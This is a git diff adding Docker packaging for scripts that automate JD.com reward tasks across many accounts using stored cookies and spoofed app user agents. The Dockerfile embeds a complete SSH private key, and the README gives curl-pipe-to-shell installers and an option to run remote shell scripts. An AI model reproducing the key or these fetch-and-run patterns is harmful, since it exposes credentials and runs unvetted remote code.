'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..b4dfea7 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,37 @@ +FROM node:lts-alpine3.12 + +LABEL AUTHOR="none" \ + VERSION=0.1.4 + +ARG KEY="-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAvRQk2oQqLB01iVnJKrnI3tTfJyEHzc2ULVor4vBrKKWOum4dbTeT\ndNWL5aS+CJso7scJT3BRq5fYVZcz5ra0MLMdQyFL1DdwurmzkhPYbwcNrJrB8abEPJ8ltS\nMoa0X9ecmSepaQFedZOZ2YeT/6AAXY+cc6xcwyuRVQ2ZJ3YIMBrRuVkF6nYwLyBLFegzhu\nJJeU5o53kfpbTCirwK0h9ZsYwbNbXYbWuJHmtl5tEBf2Hz+5eCkigXRq8EhRZlSnXfhPr2\n32VCb1A/gav2/YEaMPSibuBCzqVMVruP5D625XkxMdBdLqLBGWt7bCas7/zH2bf+q3zac4\nLcIFhkC6XwAAA9BjE3IGYxNyBgAAAAdzc2gtcnNhAAABAQC9FCTahCosHTWJWckqucje1N\n8nIQfNzZQtWivi8GsopY66bh1tN5N01YvlpL4ImyjuxwlPcFGrl9hVlzPmtrQwsx1DIUvU\nN3C6ubOSE9hvBw2smsHxpsQ8nyW1IyhrRf15yZJ6lpAV51k5nZh5P/oABdj5xzrFzDK5FV\nDZkndggwGtG5WQXqdjAvIEsV6DOG4kl5TmjneR+ltMKKvArSH1mxjBs1tdhta4kea2Xm0Q\nF/YfP7l4KSKBdGrwSFFmVKdd+E+vbfZUJvUD+Bq/b9gRow9KJu4ELOpUxWu4/kPrbleTEx\n0F0uosEZa3tsJqzv/MfZt/6rfNpzgtwgWGQLpfAAAAAwEAAQAAAQEAnMKZt22CBWcGHuUI\nytqTNmPoy2kwLim2I0+yOQm43k88oUZwMT+1ilUOEoveXgY+DpGIH4twusI+wt+EUVDC3e\nlyZlixpLV+SeFyhrbbZ1nCtYrtJutroRMVUTNf7GhvucwsHGS9+tr+96y4YDZxkBlJBfVu\nvdUJbLfGe0xamvE114QaZdbmKmtkHaMQJOUC6EFJI4JmSNLJTxNAXKIi3TUrS7HnsO3Xfv\nhDHElzSEewIC1smwLahS6zi2uwP1ih4fGpJJbU6FF/jMvHf/yByHDtdcuacuTcU798qT0q\nAaYlgMd9zrLC1OHMgSDcoz9/NQTi2AXGAdo4N+mnxPTHcQAAAIB5XCz1vYVwJ8bKqBelf1\nw7OlN0QDM4AUdHdzTB/mVrpMmAnCKV20fyA441NzQZe/52fMASUgNT1dQbIWCtDU2v1cP6\ncG8uyhJOK+AaFeDJ6NIk//d7o73HNxR+gCCGacleuZSEU6075Or2HVGHWweRYF9hbmDzZb\nCLw6NsYaP2uAAAAIEA3t1BpGHHek4rXNjl6d2pI9Pyp/PCYM43344J+f6Ndg3kX+y03Mgu\n06o33etzyNuDTslyZzcYUQqPMBuycsEb+o5CZPtNh+1klAVE3aDeHZE5N5HrJW3fkD4EZw\nmOUWnRj1RT2TsLwixB21EHVm7fh8Kys1d2ULw54LVmtv4+O3cAAACBANkw7XZaZ/xObHC9\n1PlT6vyWg9qHAmnjixDhqmXnS5Iu8TaKXhbXZFg8gvLgduGxH/sGwSEB5D6sImyY+DW/OF\nbmIVC4hwDUbCsTMsmTTTgyESwmuQ++JCh6f2Ams1vDKbi+nOVyqRvCrAHtlpaqSfv8hkjK\npBBqa/rO5yyYmeJZAAAAFHJvb3RAbmFzLmV2aW5lLnByZXNzAQIDBAUG\n-----END OPENSSH PRIVATE KEY-----" + +ENV DEFAULT_LIST_FILE=crontab_list.sh \ + CUSTOM_LIST_MERGE_TYPE=append \ + COOKIES_LIST=/scripts/logs/cookies.list \ + REPO_URL=git@gitee.com:lxk0301/jd_scripts.git \ + REPO_BRANCH=master + +RUN set -ex \ + && apk update \ + && apk upgrade \ + && apk add --no-cache bash tzdata git moreutils curl jq openssh-client \ + && rm -rf /var/cache/apk/* \ + && ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ + && echo "Asia/Shanghai" > /etc/timezone \ + && mkdir -p /root/.ssh \ + && echo -e $KEY > /root/.ssh/id_rsa \ + && chmod 600 /root/.ssh/id_rsa \ + && ssh-keyscan gitee.com > /root/.ssh/known_hosts \ + && git clone -b $REPO_BRANCH $REPO_URL /scripts \ + && cd /scripts \ + && mkdir logs \ + && npm config set registry https://registry.npm.taobao.org \ + && npm install \ + && cp /scripts/docker/docker_entrypoint.sh /usr/local/bin \ + && chmod +x /usr/local/bin/docker_entrypoint.sh + +WORKDIR /scripts + +ENTRYPOINT ["docker_entrypoint.sh"] + +CMD [ "crond" ] \ No newline at end of file diff --git a/docker/Readme.md b/docker/Readme.md new file mode 100644 index 0000000..c216307 --- /dev/null +++ b/docker/Readme.md @@ -0,0 +1,264 @@ +![Docker Pulls](https://img.shields.io/docker/pulls/lxk0301/jd_scripts?style=for-the-badge) +### Usage +```diff ++ 2021-03-21更新 增加bot交互,spnode指令,功能是否开启自动根据你的配置判断,详见 https://gitee.com/lxk0301/jd_docker/pulls/18 + **bot交互启动前置条件为 配置telegram通知,并且未使用自己代理的 TG_API_HOST** + **spnode使用前置条件未启动bot交互** _(后续可能去掉该限制_ + 使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.conf即可 + 使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.conf的cookies执行脚本,定时任务也将自动替换为spnode命令执行 + 发送/spnode给bot获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js) + spnode功能概述示例 + spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发 + spnode 1 /scripts/jd_bean_change.js 为logs/cookies.conf文件里面第一行cookie账户单独执行jd_bean_change脚本 + spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.conf文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本 + spnode /scripts/jd_bean_change.js 为logs/cookies.conf所有cookies账户一起执行jd_bean_change脚本 + +**请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。** ++ 2021-03-9更新 新版docker单容器多账号自动互助 ++开启方式:docker-compose.yml 中添加环境变量 - ENABLE_AUTO_HELP=true ++助力原则:不考虑需要被助力次数与提供助力次数 假设有3个账号,则生成: ”助力码1@助力码2@助力码3&助力码1@助力码2@助力码3&助力码1@助力码2@助力码3“ ++原理说明:1、定时调用 /scripts/docker/auto_help.sh collect 收集各个活动的助力码,整理、去重、排序、保存到 /scripts/logs/sharecodeCollection.log; + 2、(由于linux进程限制,父进程无法获取子进程环境变量)在每次脚本运行前,在当前进程先调用 /scripts/docker/auto_help.sh export 把助力码注入到环境变量 + ++ 2021-02-21更新 https://gitee.com/lxk0301/jd_scripts仓库被迫私有,老用户重新更新一下镜像:https://hub.docker.com/r/lxk0301/jd_scripts)(docker-compose.yml的REPO_URL记得修改)后续可同步更新jd_script仓库最新脚本 ++ 2021-02-10更新 docker-compose里面,填写环境变量 SHARE_CODE_FILE=/scripts/logs/sharecode.log, 多账号可实现自己互助(只限sharecode.log日志里面几个活动),注:已停用,请使用2021-03-9更新 ++ 2021-01-22更新 CUSTOM_LIST_FILE 参数支持远程定时任务列表 (⚠️务必确认列表中的任务在仓库里存在) ++ 例1:配置远程crontab_list.sh, 此处借用 shylocks 大佬的定时任务列表, 本仓库不包含列表中的任务代码, 仅作示范 ++ CUSTOM_LIST_FILE=https://raw.githubusercontent.com/shylocks/Loon/main/docker/crontab_list.sh ++ ++ 例2:配置docker挂载本地定时任务列表, 用法不变, 注意volumes挂载 ++ volumes: ++ - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh ++ environment: ++ - CUSTOM_LIST_FILE=my_crontab_list.sh + + ++ 2021-01-21更新 增加 DO_NOT_RUN_SCRIPTS 参数配置不执行的脚本 ++ 例:DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js +建议填写完整文件名,不完整的文件名可能导致其他脚本被禁用。 +例如:“jd_joy”会匹配到“jd_joy_feedPets”、“jd_joy_reward”、“jd_joy_steal” + ++ 2021-01-03更新 增加 CUSTOM_SHELL_FILE 参数配置执行自定义shell脚本 ++ 例1:配置远程shell脚本, 我自己写了一个shell脚本https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh 内容很简单下载惊喜农场并添加定时任务 ++ CUSTOM_SHELL_FILE=https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh ++ ++ 例2:配置docker挂载本地自定义shell脚本,/scripts/docker/shell_script_mod.sh 为你在docker-compose.yml里面挂载到容器里面绝对路径 ++ CUSTOM_SHELL_FILE=/scripts/docker/shell_script_mod.sh ++ ++ tip:如果使用远程自定义,请保证网络畅通或者选择合适的国内仓库,例如有部分人的容器里面就下载不到github的raw文件,那就可以把自己的自定义shell写在gitee上,或者换本地挂载 ++ 如果是 docker 挂载本地,请保证文件挂载进去了,并且配置的是绝对路径。 ++ 自定义 shell 脚本里面如果要加 crontab 任务请使用 echo 追加到 /scripts/docker/merged_list_file.sh 里面否则不生效 ++ 注⚠️ 建议无shell能力的不要轻易使用,当然你可以找别人写好适配了这个docker镜像的脚本直接远程配置 ++ 上面写了这么多如果还看不懂,不建议使用该变量功能。 +_____ +! ⚠️⚠️⚠️2020-12-11更新镜像启动方式,虽然兼容旧版的运行启动方式,但是强烈建议更新镜像和配置后使用 +! 更新后`command:`指令配置不再需要 +! 更新后可以使用自定义任务文件追加在默任务文件之后,比以前的完全覆盖多一个选择 +! - 新的自定两个环境变量为 `CUSTOM_LIST_MERGE_TYPE`:自定文件的生效方式可选值为`append`,`overwrite`默认为`append` ; `CUSTOM_LIST_FILE`: 自定义文件的名字 +! 更新镜像增减镜像更新通知,以后镜像如果更新之后,会通知用户更新 +``` +> 推荐使用`docker-compose`所以这里只介绍`docker-compose`使用方式 + + + +Docker安装 + +- 国内一键安装 `sudo curl -sSL https://get.daocloud.io/docker | sh` +- 国外一键安装 `sudo curl -sSL get.docker.com | sh` +- 北京外国语大学开源软件镜像站 `https://mirrors.bfsu.edu.cn/help/docker-ce/` + + +docker-compose 安装(群晖`nas docker`自带安装了`docker-compose`) + +``` +sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +sudo chmod +x /usr/local/bin/docker-compose +``` +`Ubuntu`用户快速安装`docker-compose` +``` +sudo apt-get update && sudo apt-get install -y python3-pip curl vim git moreutils +pip3 install --upgrade pip +pip install docker-compose +``` + +### win10用户下载安装[docker desktop](https://www.docker.com/products/docker-desktop) + +通过`docker-compose version`查看`docker-compose`版本,确认是否安装成功。 + + +### 如果需要使用 docker 多个账户独立并发执行定时任务,[参考这里](./example/docker%E5%A4%9A%E8%B4%A6%E6%88%B7%E4%BD%BF%E7%94%A8%E7%8B%AC%E7%AB%8B%E5%AE%B9%E5%99%A8%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E.md#%E4%BD%BF%E7%94%A8%E6%AD%A4%E6%96%B9%E5%BC%8F%E8%AF%B7%E5%85%88%E7%90%86%E8%A7%A3%E5%AD%A6%E4%BC%9A%E4%BD%BF%E7%94%A8docker%E5%8A%9E%E6%B3%95%E4%B8%80%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F) + +> 注⚠️:前提先理解学会使用这下面的教程 +### 创建一个目录`jd_scripts`用于存放备份配置等数据,迁移重装的时候只需要备份整个jd_scripts目录即可 +需要新建的目录文件结构参考如下: +``` +jd_scripts +├── logs +│   ├── XXXX.log +│   └── XXXX.log +├── my_crontab_list.sh +└── docker-compose.yml +``` +- `jd_scripts/logs`建一个空文件夹就行 +- `jd_scripts/docker-compose.yml` 参考内容如下(自己动手能力不行搞不定请使用默认配置): +- - [使用默认配置用这个](./example/default.yml) +- - [使用自定义任务追加到默认任务之后用这个](./example/custom-append.yml) +- - [使用自定义任务覆盖默认任务用这个](./example/custom-overwrite.yml) +- - [一次启动多容器并发用这个](./example/multi.yml) +- - [使用群晖默认配置用这个](./example/jd_scripts.syno.json) +- - [使用群晖自定义任务追加到默认任务之后用这个](./example/jd_scripts.custom-append.syno.json) +- - [使用群晖自定义任务覆盖默认任务用这个](./example/jd_scripts.custom-overwrite.syno.json) +- `jd_scripts/docker-compose.yml`里面的环境变量(`environment:`)配置[参考这里](../githubAction.md#互助码类环境变量) 和[本文末尾](../docker/Readme.md#docker专属环境变量) + + +- `jd_scripts/my_crontab_list.sh` 参考内容如下,自己根据需要调整增加删除,不熟悉用户推荐使用[默认配置](./crontab_list.sh)里面的内容: + +```shell +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecode' | xargs rm -rf + +##############短期活动############## +# 小鸽有礼2(活动时间:2021年1月28日~2021年2月28日) +34 9 * * * node /scripts/jd_xgyl.js >> /scripts/logs/jd_jd_xgyl.log 2>&1 + +#女装盲盒 活动时间:2021-2-19至2021-2-25 +5 7,23 19-25 2 * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 + +#京东极速版天天领红包 活动时间:2021-1-18至2021-3-3 +5 0,23 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +##############长期活动############## +# 签到 +3 0,18 * * * cd /scripts && node jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +# 东东超市兑换奖品 +0,30 0 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +# 摇京豆 +0 0 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# 东东农场 +5 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +# 宠汪汪 +15 */2 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +# 宠汪汪喂食 +15 */1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +# 宠汪汪偷好友积分与狗粮 +13 0-21/3 * * * node /scripts/jd_joy_steal.js >> /scripts/logs/jd_joy_steal.log 2>&1 +# 摇钱树 +0 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 东东萌宠 +5 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +# 京东种豆得豆 +0 7-22/1 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +# 京东全民开红包 +1 1 * * * node /scripts/jd_redPacket.js >> /scripts/logs/jd_redPacket.log 2>&1 +# 进店领豆 +10 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +# 京东天天加速 +8 */3 * * * node /scripts/jd_speed.js >> /scripts/logs/jd_speed.log 2>&1 +# 东东超市 +11 1-23/5 * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +# 取关京东店铺商品 +55 23 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +# 京豆变动通知 +0 10 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +# 京东抽奖机 +11 1 * * * node /scripts/jd_lotteryMachine.js >> /scripts/logs/jd_lotteryMachine.log 2>&1 +# 京东排行榜 +11 9 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# 天天提鹅 +18 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 金融养猪 +12 * * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# 点点券 +20 0,20 * * * node /scripts/jd_necklace.js >> /scripts/logs/jd_necklace.log 2>&1 +# 京喜工厂 +20 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +# 东东小窝 +16 6,23 * * * node /scripts/jd_small_home.js >> /scripts/logs/jd_small_home.log 2>&1 +# 东东工厂 +36 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# 十元街 +36 8,18 * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +# 京东快递签到 +23 1 * * * node /scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +# 京东汽车(签到满500赛点可兑换500京豆) +0 0 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +# 领京豆额外奖励(每日可获得3京豆) +33 4 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +# 微信小程序京东赚赚 +10 11 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +# 宠汪汪邀请助力 +10 9-20/2 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +# crazyJoy自动每日任务 +10 7 * * * node /scripts/jd_crazy_joy.js >> /scripts/logs/jd_crazy_joy.log 2>&1 +# 京东汽车旅程赛点兑换金豆 +0 0 * * * node /scripts/jd_car_exchange.js >> /scripts/logs/jd_car_exchange.log 2>&1 +# 导到所有互助码 +47 7 * * * node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# 口袋书店 +7 8,12,18 * * * node /scripts/jd_bookshop.js >> /scripts/logs/jd_bookshop.log 2>&1 +# 京喜农场 +0 9,12,18 * * * node /scripts/jd_jxnc.js >> /scripts/logs/jd_jxnc.log 2>&1 +# 签到领现金 +27 */4 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +# 京喜app签到 +39 7 * * * node /scripts/jx_sign.js >> /scripts/logs/jx_sign.log 2>&1 +# 京东家庭号(暂不知最佳cron) +# */20 * * * * node /scripts/jd_family.js >> /scripts/logs/jd_family.log 2>&1 +# 闪购盲盒 +27 8 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# 京东秒秒币 +10 7 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +#美丽研究院 +1 7,12,19 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京东保价 +1 0,23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#京东极速版签到+赚现金任务 +1 1,6 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +# 删除优惠券(默认注释,如需要自己开启,如有误删,已删除的券可以在回收站中还原,慎用) +#20 9 * * 6 node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +``` +> 定时任务命之后,也就是 `>>` 符号之前加上 `|ts` 可在日志每一行前面显示时间,如下图: +> ![image](https://user-images.githubusercontent.com/6993269/99031839-09e04b00-25b3-11eb-8e47-0b6515a282bb.png) +- 目录文件配置好之后在 `jd_scripts`目录执行。 + `docker-compose up -d` 启动(修改docker-compose.yml后需要使用此命令使更改生效); + `docker-compose logs` 打印日志; + `docker-compose logs -f` 打印日志,-f表示跟随日志; + `docker logs -f jd_scripts` 和上面两条相比可以显示汉字; + `docker-compose pull` 更新镜像;多容器用户推荐使用`docker pull lxk0301/jd_scripts`; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + +- 你可能会用到的命令 + + `docker exec -it jd_scripts /bin/sh -c ". /scripts/docker/auto_help.sh export > /scripts/logs/auto_help_export.log && node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(有自动助力) + + `docker exec -it jd_scripts /bin/sh -c "node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(无自动助力) + + `docker exec -it jd_scripts /bin/sh -c 'env'` 查看设置的环境变量 + + `docker exec -it jd_scripts /bin/sh -c 'crontab -l'` 查看已生效的crontab_list定时器任务 + + `docker exec -it jd_scripts sh -c "git pull"` 手动更新jd_scripts仓库最新脚本(默认已有每天拉取两次的定时任务,不推荐使用) + + `docker exec -it jd_scripts /bin/sh` 仅进入容器命令 + + `rm -rf logs/*.log` 删除logs文件夹里面所有的日志文件(linux) + + `docker exec -it jd_scripts /bin/sh -c ' ls jd_*.js | grep -v jd_crazy_joy_coin.js |xargs -i node {}'` 执行所有定时任务 + +- 如果是群晖用户,在docker注册表搜`jd_scripts`,双击下载映像。 +不需要`docker-compose.yml`,只需建个logs/目录,调整`jd_scripts.syno.json`里面对应的配置值,然后导入json配置新建容器。 +若要自定义`my_crontab_list.sh`,再建个`my_crontab_list.sh`文件,配置参考`jd_scripts.my_crontab_list.syno.json`。 +![image](../icon/qh1.png) + +![image](../icon/qh2.png) + +![image](../icon/qh3.png) + +### DOCKER专属环境变量 + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :------------: | :----: | ------------------------------------------------------------ | +| `CRZAY_JOY_COIN_ENABLE` | 是否jd_crazy_joy_coin挂机 | 非必须 | `docker-compose.yml`文件下填写`CRZAY_JOY_COIN_ENABLE=Y`表示挂机,`CRZAY_JOY_COIN_ENABLE=N`表不挂机 | +| `DO_NOT_RUN_SCRIPTS` | 不执行的脚本 | 非必须 | 例:`docker-compose.yml`文件里面填写`DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js`, 建议填写完整脚本名,不完整的文件名可能导致其他脚本被禁用 | +| `ENABLE_AUTO_HELP` | 单容器多账号自动互助 | 非必须 | 例:`docker-compose.yml`文件里面填写`ENABLE_AUTO_HELP=true` | diff --git a/docker/auto_help.sh b/docker/auto_help.sh new file mode 100644 index 0000000..5c29885 --- /dev/null +++ b/docker/auto_help.sh @@ -0,0 +1,155 @@ +#set -e + +#日志路径 +logDir="/scripts/logs" + +# 处理后的log文件 +logFile=${logDir}/sharecodeCollection.log +if [ -n "$1" ]; then + parameter=${1} +else + echo "没有参数" +fi + +# 收集助力码 +collectSharecode() { + if [ -f ${2} ]; then + echo "${1}:清理 ${preLogFile} 中的旧助力码,收集新助力码" + + #删除预处理旧助力码 + if [ -f "${logFile}" ]; then + sed -i '/'"${1}"'/d' ${logFile} + fi + + #收集日志中的互助码 + codes="$(sed -n '/'${1}'.*/'p ${2} | sed 's/京东账号/京东账号 /g' | sed 's/(/ (/g' | sed 's/】/】 /g' | awk '{print $4,$5,$6,$7}' | sort -gk2 | awk '!a[$2" "$3]++{print}')" + + #获取ck文件夹中的pin值集合 + if [ -f "/usr/local/bin/spnode" ]; then + ptpins="$(awk -F "=" '{print $3}' $COOKIES_LIST | awk -F ";" '{print $1}')" + else + ptpins="$(echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" | awk -F "=" '{print $3}' | awk -F ";" '{print $1}')" + fi + + + #遍历pt_pin值 + for item in $ptpins; do + #中文pin解码 + if [ ${#item} > 20 ]; then + item="$(printf $(echo -n "$item" | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')"\n")" + fi + #根据pin值匹配第一个code结果输出到文件中 + echo "$codes" | grep -m1 $item >> $logFile + done + else + echo "${1}:${2} 文件不存在,不清理 ${logFile} 中的旧助力码" + fi + +} + +# 导出助力码 +exportSharecode() { + if [ -f ${logFile} ]; then + #账号数 + cookiecount=$(echo ${JD_COOKIE} | grep -o pt_key | grep -c pt_key) + if [ -f /usr/local/bin/spnode ]; then + cookiecount=$(cat "$COOKIES_LIST" | grep -o pt_key | grep -c pt_key) + fi + echo "cookie个数:${cookiecount}" + + # 单个账号助力码 + singleSharecode=$(sed -n '/'${1}'.*/'p ${logFile} | awk '{print $4}' | awk '{T=T"@"$1} END {print T}' | awk '{print substr($1,2)}') + # | awk '{print $2,$4}' | sort -g | uniq + # echo "singleSharecode:${singleSharecode}" + + # 拼接多个账号助力码 + num=1 + while [ ${num} -le ${cookiecount} ]; do + local allSharecode=${allSharecode}"&"${singleSharecode} + num=$(expr $num + 1) + done + + allSharecode=$(echo ${allSharecode} | awk '{print substr($1,2)}') + + # echo "${1}:${allSharecode}" + + #判断合成的助力码长度是否大于账号数,不大于,则可知没有助力码 + if [ ${#allSharecode} -gt ${cookiecount} ]; then + echo "${1}:导出助力码" + echo "${3}=${allSharecode}" + export ${3}=${allSharecode} + else + echo "${1}:没有助力码,不导出" + fi + + else + echo "${1}:${logFile} 不存在,不导出助力码" + fi + +} + +#生成助力码 +autoHelp() { + if [ ${parameter} == "collect" ]; then + + # echo "收集助力码" + collectSharecode ${1} ${2} ${3} + + elif [ ${parameter} == "export" ]; then + + # echo "导出助力码" + exportSharecode ${1} ${2} ${3} + fi +} + +#日志需要为这种格式才能自动提取 +#Mar 07 00:15:10 【京东账号1(xxxxxx)的京喜财富岛好友互助码】3B41B250C4A369EE6DCA6834880C0FE0624BAFD83FC03CA26F8DEC7DB95D658C + +#新增自动助力活动格式 +# autoHelp 关键词 